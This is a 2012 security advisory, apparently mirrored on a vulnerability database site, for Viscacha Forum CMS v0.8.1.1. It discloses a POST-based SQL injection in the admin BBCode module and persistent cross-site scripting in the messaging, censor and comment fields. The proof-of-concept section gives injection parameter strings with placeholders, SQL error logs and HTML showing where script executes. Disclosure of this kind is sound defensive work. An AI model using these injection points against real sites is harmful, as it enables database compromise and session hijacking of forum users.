Lucene search
K

Viscacha Forum CMS v0.8.1.1 - Multiple Web Vulnerabilities

🗓️ 07 May 2012 00:00:00Reported by Vulnerability Laboratory [Research Team]Type 
vulnerlab
 vulnerlab
🔗 www.vulnerability-lab.com👁 9 Views

Viscacha Forum CMS v0.8.1.1 - Multiple Web Vulnerabilities discovered in 2012, including remote SQL Injection and persistent input validation vulnerabilities

Code
Document Title:
===============
Viscacha Forum CMS v0.8.1.1 - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=525


Release Date:
=============
2012-05-07


Vulnerability Laboratory ID (VL-ID):
====================================
525


Common Vulnerability Scoring System:
====================================
7.3


Product & Service Introduction:
===============================
Viscacha is a free bulletin board system with an integrated CMS. The intention of the software engineers 
is to combine the current standards with new and user friendly features. The system supports packages for 
easily extending the core system.  Viscacha is a free bulletin board system with an integrated content 
management system. The intention of the software engineers is to combine the current standards with new 
and user friendly features. The system supports packages (plugins and components) for easily extending the 
core system. Viscacha uses an database abstraction layer to support as many databases as possible. With 
this software you can easily set up a complete (personal) homepage. The CMS extends the bulletin board 
system to have a homepage which is connected to the community.

(Copy of the vendor Homepage: http://www.viscacha.org )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in Viscacha Bulletin Board CMS v0.8.1.1.


Vulnerability Disclosure Timeline:
==================================
2012-05-08:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A remote SQL Injection vulnerability (POST) is detected in Viscacha Bulletin Board CMS v0.8.1.1.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands 
on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
The vulnerability is located on the bbcode module of the forum application.

Vulnerable Module(s):
				[+] BBCode - Tags & BB-Code | Change or Example


--- SQL Exception Logs ---
Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your 
MySQL server version for the right syntax to use near ` at line 1
File: /home/opencms/public_html/demo/viscacha/admin/bbcodes.php on line 1164
Query: SELECT * FROM v_bbcode WHERE bbcodetag = `sd`AND twoparams = `0`AND in 
/home/server/public_html/cms/viscacha/classes/database/mysql.inc.php on line 151 


Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your 
MySQL server version for the right syntax to use near ` at line 1
File: /home/server/public_html/cms/viscacha/admin/bbcodes.php on line 1164
Query: SELECT * FROM v_bbcode WHERE bbcodetag = `sd` AND twoparams = `0` AND in 
/home/opencms/public_html/demo/viscacha/classes/database/mysql.inc.php on line 151 

Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your 
MySQL server version for the right syntax to use near` at line 1
File: /home/server/public_html/cms/viscacha/admin/bbcodes.php on line 1164
Query: SELECT * FROM v_bbcode WHERE bbcodetag = `-1`AND twoparams = `0` AND in 
/home/server/public_html/cms/viscacha/classes/database/mysql.inc.php on line 151 


Picture(s):
				../1.png
				../2.png


1.2
Multiple persistent input validation vulnerabilities is detected in Viscacha Bulletin Board CMS v0.8.1.1.
The bugs allow remote attackers to implement/inject malicious script code on the application-side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin/user) or stable (persistent) 
context manipulation. Exploitation requires low user inter action.


Vulnerable Module(s):
				[+] Private Messages System - Text Input Field
				[+] Zensur - Bad Word Input Field
				[+] Kommentar - Portal Input Field Text & Topic

Picture(s):
				../3.png
				../4.png


Proof of Concept (PoC):
=======================
1.1
The sql injection vulnerability can be exploited by remote attackers without user inter action.
For demonstration or reproduce ...

PoC: POSTDATA
title=say&bbcodetag=-1%27&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27[SQL-INJECTION]&bbcodeexplanation=-1%27&twoparams=0&buttonimage=-1%27
... or
title=say&bbcodetag=-1%27&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27&bbcodeexplanation=-1%27&twoparams=0&buttonimage=[SQL-INJECTION]
... &
title=say&bbcodetag=-1%27[SQL-INJECTION]&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27&bbcodeexplanation=-1%27&twoparams=0&buttonimage=-1%27


1.2
The persistent input validation vulnerabilities can be exploited by remote attackers with low required user inter action.
For demonstration or reproduce ...


Review: Zensur - Bad Word & Listing

<td class="mbox" width="45%">&#8203;&#8203;&#8203;&#8203;&#8203;">&#8203;&#8203;&#8203;&#8203;&#8203;<[EXECUTION OF SCRIPT CODE HERE!]' <<="" td="">
  </tr>
  <tr>

<td class="ubox" width="100%" colspan=3 align="center"><input type="submit" name="Submit" 
value="Löschen"></td>
  </tr>
 </table>
</form>
<br>
<form name="form" 
method="post" action="admin.php?action=bbcodes&job=add&tp=censor">
 <table class="border">
  
<tr>
   <td class="obox" colspan=2>Wort hinzufügen</b></td>
  </tr>
  <tr>
   
<td class="mbox" width="30%">Wort:<br /><span class="stext">Maximal 200 Zeichen</span></td>
   
<td class="mbox" width="70%"><input type="text" name="temp1" size="70"></td>
  
</tr>
  <tr>
   <td class="mbox" width="30%">Zensiertes Wort:<br /><span class="stext">
Maximal 255 Zeichen</span></td>
   <td class="mbox" width="70%"><input type="text" name="temp2" 
size="70"></td>
  </tr>
  <tr>
   <td class="ubox" colspan="2" align="center"><
input type="submit" name="Submit" value="Hinzufügen"></td>
  </tr>
 </table>
</form>

<br style="line-height: 8px;" />
<div class="stext center">[Generiert in 0.00224 Sekunden] 
[Datenbankabfragen: 2]</div>
<div id="copyright">

Powered by <strong><a href="http://www.viscacha.org" target="_blank">Viscacha 0.8.1.1</a></strong>
<br />Copyright © 2004-2009, The Viscacha Project

<img src="cron.php" width="0" height="0" alt="" />
</div>
		</body>
	</html>
	</iframe></td>

URL: http://127.0.0.1:8080/viscacha/admin.php?action=bbcodes&job=censor


Review: PN Message Preview


<br class="newinput"><hr class="formsep">
<label for="topic">Titel:</label>
<input tabindex="2000" id="topic" class="label" name="topic" size="30" value="" 
type="text"><[INJECT SCRIPT CODE HERE!] <"="">
<br class="newinput" 
/><hr class="formsep" />
<

URL: http://127.0.0.1:8080/viscacha/pm.php

... or

Review: PN Message Preview - Arrived Message - Inbox

<div class="bbody">
<span class="stext">&#8203;&#8203;&#8203;&#8203;&#8203;Betreff: 
<strong>"><[EXECUTION OF SCRIPT CODE HERE!] <</strong>
</span>
<hr>
"><[EXECUTION OF SCRIPT CODE HERE!] ' 
<<br="" class="iefix_left">
</div>
</div>

<noscript><br />

<div class="popup_noscript">

<a name="generallinks"></a><strong>Verschiedene Links</strong>

<ul>


URL: http://127.0.0.1:8080/viscacha/pm.php



Review: Kommentare - Comments Input/Output

 <input id="membersuggest_val" tabindex="1" onkeyup="ajax_searchmember(this.value, key(event))" 
onblur="ajax_searchmember(this.value)" name="name" size="40" value=""><
[EXECUTION OF SCRIPT CODE HERE!]  <" type="text">
    <br><span class="stext" id="membersuggest">
</span>
</div>
<br class="newinput"><hr class="formsep">
<label for="topic">Titel:</label>

... or

<input tabindex="2000" id="topic" class="label" name="topic" size="30" value="" type="text">
<iframe src="a"[INJECT OF SCRIPT CODE HERE!] ' <"="">
<br class="newinput" /><hr class="formsep" />
<label 


Security Risk:
==============
1.1
The security risk of the sql injection vulnerability is estimated as high(-).

1.2
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory



Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 May 2012 00:00Current
7.4High risk
Vulners AI Score7.4
9